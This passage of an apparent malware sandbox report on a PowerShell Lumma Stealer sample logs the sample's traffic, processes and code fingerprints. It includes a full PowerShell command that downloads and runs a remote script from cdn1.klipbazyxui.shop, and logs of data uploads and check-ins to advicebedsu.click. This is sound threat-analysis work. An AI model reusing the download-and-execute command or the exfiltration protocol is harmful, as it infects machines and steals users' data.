2024-12-30 08:19:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 08:19:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49965	104.21.84.241	443	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:19:30 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MXLJWJKRJMSEZ522 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570957 Host: advicebedsu.click
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: 2d 2d 4d 58 4c 4a 57 4a 4b 52 4a 4d 53 45 5a 35 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 30 46 38 41 32 37 45 46 37 39 41 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4d 58 4c 4a 57 4a 4b 52 4a 4d 53 45 5a 35 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 58 4c 4a 57 4a 4b 52 4a 4d 53 45 5a 35 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 35 0d 0a 2d 2d 4d Data Ascii: --MXLJWJKRJMSEZ522Content-Disposition: form-data; name="hwid"3F80F8A27EF79AB7BEBA0C6A975F1733--MXLJWJKRJMSEZ522Content-Disposition: form-data; name="pid"1--MXLJWJKRJMSEZ522Content-Disposition: form-data; name="lid"yJEcaG--singl5--M
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c ef 96 f6 5f e5 ab fb f8 73 40 d2 d2 08 73 e2 b4 f3 ae 27 a9 a8 ff 50 6c 5d 85 d2 b5 16 6a Data Ascii: OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.__s@s'Pl]j
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 45 8c 94 90 b9 4c 58 09 d8 3b c0 22 26 ee 23 79 73 0a 98 11 48 20 7b f5 78 32 bf 7e 23 5d Data Ascii: w~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_/5IIELX;"&#ysH {x2~#]
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad f5 8c a1 2f a4 fe 4f c4 8b 43 a4 16 80 59 44 b3 e3 f4 50 3b c1 c1 c5 9f ee e9 e8 f5 03 fb 77 6f c4 Data Ascii: ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R/OCYDP;wo
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 a4 5b 84 e8 7b d9 35 53 3f 09 8d 4b 15 bc ce 79 1b 8f b6 3f 2f c0 5c 15 3e 68 17 aa ea b7 65 14 eb Data Ascii: MnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:WG[{5S?Ky?/\>he
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 f1 62 55 70 9a e1 fe 61 63 fd b0 e3 e0 46 d3 87 94 c3 e3 ec 47 95 29 2a ca d4 2c 83 3f 0a 7d 47 87 Data Ascii: /-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%PbUpacFG),?}G
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 45 44 81 13 83 62 b7 ee 5a 8c 1f 15 39 24 7e 74 f5 d9 7c 43 a8 02 c9 ab 49 bb c4 84 c2 0b 0d 5d be Data Ascii: 7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MTEDbZ9$~t\|CI]
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 16 00 b7 50 68 de a5 53 ce 84 49 d1 61 57 29 99 5d 75 f9 5e dd 52 7f 93 3c a5 c6 04 4d ca 30 90 70 Data Ascii: f+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8PhSIaW)]u^R<M0p
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 9b 56 ba ed d9 0c 29 ce 55 03 ea b5 36 42 57 0f db e3 28 56 57 e1 b2 aa 1e b8 a4 5d 98 36 98 ac 3a Data Ascii: V~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7zV)U6BW(VW]6:
2024-12-30 08:19:30 UTC	15331	OUT	Data Raw: f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 d1 47 b0 fa ad dc 4e 27 03 c5 b5 da 38 52 15 1f 3e 31 58 43 af 4d 6c 8e 46 18 36 f9 9b 45 f0 ae ae Data Ascii: Wsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5GN'8R>1XCMlF6E
2024-12-30 08:19:32 UTC	1139	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:19:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0sqicqblk40qm93khe2btrnen5; expires=Fri, 25 Apr 2025 02:06:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pO5xDPir6JTTCng2jsYfE2bRgVV6ZjG8twzeb67HRK7UBtr%2Fm0IFjrp2drryHdcL%2Fm5BzxSnLqle3jamul7SkLeYoNZ379tGuH3UYrjIpyp0y%2B4WKRYn3iMpwKq5%2FcFoaQH7tQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa09af45cb20f73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1458&rtt_var=558&sent=200&recv=586&lost=0&retrans=0&sent_bytes=2844&recv_bytes=573503&delivery_rate=1940199&cwnd=233&unsent_bytes=0&cid=bafbab592c9d2cbf&ts=1474&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49977	104.21.84.241	443	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:19:32 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 83 Host: advicebedsu.click
2024-12-30 08:19:32 UTC	83	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 35 26 6a 3d 26 68 77 69 64 3d 33 46 38 30 46 38 41 32 37 45 46 37 39 41 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=yJEcaG--singl5&j=&hwid=3F80F8A27EF79AB7BEBA0C6A975F1733
2024-12-30 08:19:32 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:19:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7qn80i7mjvkccnpqreh07c399k; expires=Fri, 25 Apr 2025 02:06:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iIZgr6Dnasz%2BV0jr%2BngMMOCN4ekYUFdtGr62SVOXuRoJXY56JcpWeMxuo21eHDkMJbpnWyvBSRGEOqc67Ckhj0g4VjV%2BSqKVLY%2FtOFzVwvByPrdB2PdvIQmIw045rQ5bdV%2FLFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa09b009fcf422f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1715&min_rtt=1709&rtt_var=654&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=984&delivery_rate=1656267&cwnd=137&unsent_bytes=0&cid=8f3394f29b9ce5c8&ts=451&x=0"
2024-12-30 08:19:32 UTC	54	IN	Data Raw: 33 30 0d 0a 72 42 52 64 70 65 39 57 78 30 4a 36 45 6f 4b 53 51 41 4f 7a 6f 30 73 59 68 71 4f 59 66 33 52 59 6a 74 64 6d 47 74 44 4e 6c 6b 58 33 53 51 3d 3d 0d 0a Data Ascii: 30rBRdpe9Wx0J6EoKSQAOzo0sYhqOYf3RYjtdmGtDNlkX3SQ==
2024-12-30 08:19:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:17:55
Start date:	30/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:17:55
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:18:03
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))}
Imagebase:	0x9e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000002.00000002.2613418529.0000000006E60000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:18:03
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:19:21
Start date:	30/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0xad0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD9B8A38D4 Relevance: 4.8, Strings: 3, Instructions: 1093COMMON

Download Yara Rule

Strings

x6y, xrefs: 00007FFD9B8A39DC
7y, xrefs: 00007FFD9B8A3F2D
x6y, xrefs: 00007FFD9B8A391F

Memory Dump Source

Source File: 00000000.00000002.1824315692.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID: 7y$x6y$x6y
API String ID: 0-3474269624
Opcode ID: f91fa66c8f23498f0c2764e409463e517dfb109a48b948bda94f74ea773d4880
Instruction ID: 53a0ce36627147c9bda8debe042769315f8afa20cede14d88cf95b19946dcd9f
Opcode Fuzzy Hash: f91fa66c8f23498f0c2764e409463e517dfb109a48b948bda94f74ea773d4880
Instruction Fuzzy Hash: 0A724971A0FBC94FE7A6DB6848765A47BE1EF5A314F0900FED0498B0E3D929AC46C351

Function 00007FFD9B7DA136 Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823924103.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e05f2cc191c91581e8eef70185107331525c5d807261903a051ab14da2f4b364
Instruction ID: f9e545cb2f04066268ae2913d78a753c6ec0a54c80be15c68f8bc3251ef6dfe3
Opcode Fuzzy Hash: e05f2cc191c91581e8eef70185107331525c5d807261903a051ab14da2f4b364
Instruction Fuzzy Hash: 71F19630A09B8D8FEBA8DF28C8557E977D1FF94350F04436AE84DC72A5DB34A9458B81

Function 00007FFD9B7DAEE2 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823924103.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d55240a31e4ef2d23d66dc7975eae36ca86c93a4ca2992c0a92114b63a5e9e71
Instruction ID: 7ac9966b88058725d4fa90b58346b906895ffc4923e643195be27554e1312a11
Opcode Fuzzy Hash: d55240a31e4ef2d23d66dc7975eae36ca86c93a4ca2992c0a92114b63a5e9e71
Instruction Fuzzy Hash: 4DE1D530A08A4E8FEBA8DF28C8557E977E1EF94350F04436ED84DC72A5DF34A9458B81

Function 00007FFD9B8A32A9 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824315692.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e667717a19f927922afd42bc278c5fc9f576dd3cb232c87a21bdf731a259565
Instruction ID: 32df1f78fdcc9a5a0554797011f1111038b25f35bca331cc940ea1b73bbfc92c
Opcode Fuzzy Hash: 3e667717a19f927922afd42bc278c5fc9f576dd3cb232c87a21bdf731a259565
Instruction Fuzzy Hash: 3C223672A0EA8D4FE7A5EB6888655787BE1FF59304B1900BED05DC71E3DE29AC42C311

Function 00007FFD9B8A3355 Relevance: .6, Instructions: 593COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824315692.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c76abe4014c0b5552a9a63dec89d7ffd3ef65db41fe6d6bee6f449a8ade5709
Instruction ID: e62c070c1a5e7255c536fffc0dcab014bae572579160c3223c8558364b7e307d
Opcode Fuzzy Hash: 3c76abe4014c0b5552a9a63dec89d7ffd3ef65db41fe6d6bee6f449a8ade5709
Instruction Fuzzy Hash: 99122572B0EA8D4FE7A5EB68886557877E2EF59314B1900BDD05DC71E3DD29AC028311

Function 00007FFD9B8A2435 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824315692.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78f3aa1f62dce7c744e389fa920d58bf7be632e2ba02f50d9b6ebefcd77e1b83
Instruction ID: ef3730b1edc1ea9ba3666f21c52d23709187f8d696a1e73495e30fe66f0ee17a
Opcode Fuzzy Hash: 78f3aa1f62dce7c744e389fa920d58bf7be632e2ba02f50d9b6ebefcd77e1b83
Instruction Fuzzy Hash: DFD13572A0FACD0FE7B5ABA848755A97BE1FF59354B0900FAD44DC70E3E918AD058321

Function 00007FFD9B7DAAF6 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823924103.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e45220af5b624bb32916626688b557d7f8a77d9155ac1ed681a9a0edeb13f4c0
Instruction ID: e8def7baa74ea1c307bcf0e456cb5b0bcf10b56d708119d4f40db735af4c83e9
Opcode Fuzzy Hash: e45220af5b624bb32916626688b557d7f8a77d9155ac1ed681a9a0edeb13f4c0
Instruction Fuzzy Hash: 6CB1D570609B8D4FDB68DF28C8557E93BE1FF95350F04426EE84DC72A6CA34A945CB82

Function 00007FFD9B8A405D Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824315692.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

